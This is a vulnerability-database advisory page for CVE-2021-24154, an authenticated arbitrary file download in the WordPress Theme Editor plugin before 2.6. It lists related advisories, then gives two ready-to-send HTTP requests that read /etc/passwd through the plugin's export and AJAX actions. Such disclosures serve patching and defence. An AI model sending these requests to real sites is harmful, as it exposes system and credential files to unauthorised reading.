Lucene search
+L

Theme Editor < 2.6 - Authenticated Arbitrary File Download

🗓️ 13 Feb 2021 00:00:00Reported by khanhType 
wpexploit
 wpexploit
👁 357 Views

Vulnerability in Theme Editor 2.6 allows authenticated arbitrary file downloa

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2021-24154
5 Apr 202119:15
attackerkb
CNNVD
WordPress 安全漏洞
5 Apr 202100:00
cnnvd
CVE
CVE-2021-24154
5 Apr 202118:27
cve
Cvelist
CVE-2021-24154 Theme Editor < 2.6 - Authenticated Arbitrary File Download
5 Apr 202118:27
cvelist
EUVD
EUVD-2021-11068
7 Oct 202500:30
euvd
NVD
CVE-2021-24154
5 Apr 202119:15
nvd
OSV
CVE-2021-24154
5 Apr 202119:15
osv
Prion
Design/Logic Flaw
5 Apr 202119:15
prion
RedhatCVE
CVE-2021-24154
22 May 202519:20
redhatcve
WPVulnDB
Theme Editor < 2.6 - Authenticated Arbitrary File Download
13 Feb 202100:00
wpvulndb
Rows per page
https://drive.google.com/file/d/1pv3-AMtgV2Kb3W4OdKuX64vxIsroNe-O/view?usp=sharing

As admin, and with the related nonce (mk_nonce from /wp-admin/admin.php?page=theme_editor_theme), open /wp-admin/admin-post.php?action=mk_theme_editor_export_te_files&file=/etc/passwd&_wpnonce=NONCE

GET /wp-admin/admin-post.php?action=mk_theme_editor_export_te_files&file=/etc/passwd&_wpnonce=feed261905 HTTP/1.1
Host: example.com
User-Agent: YOLO
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://example.com/wp-admin/admin.php?page=theme_editor_theme
Connection: close
Cookie: [admin cookies]
Upgrade-Insecure-Requests: 1


Via the mk_theme_editor_file_open AJAX action (nonce is from the tf_wpnonce parameter in /wp-admin/admin.php?page=theme_editor_theme)

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: example.com
User-Agent: YOLO
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://example.com/wp-admin/admin.php?page=theme_editor_theme
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 115
Origin: https://example.com
Connection: close
Cookie: [admin cookies]

action=mk_theme_editor_file_open&path=/etc/passwd&_wpnonce=d0677226d1

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation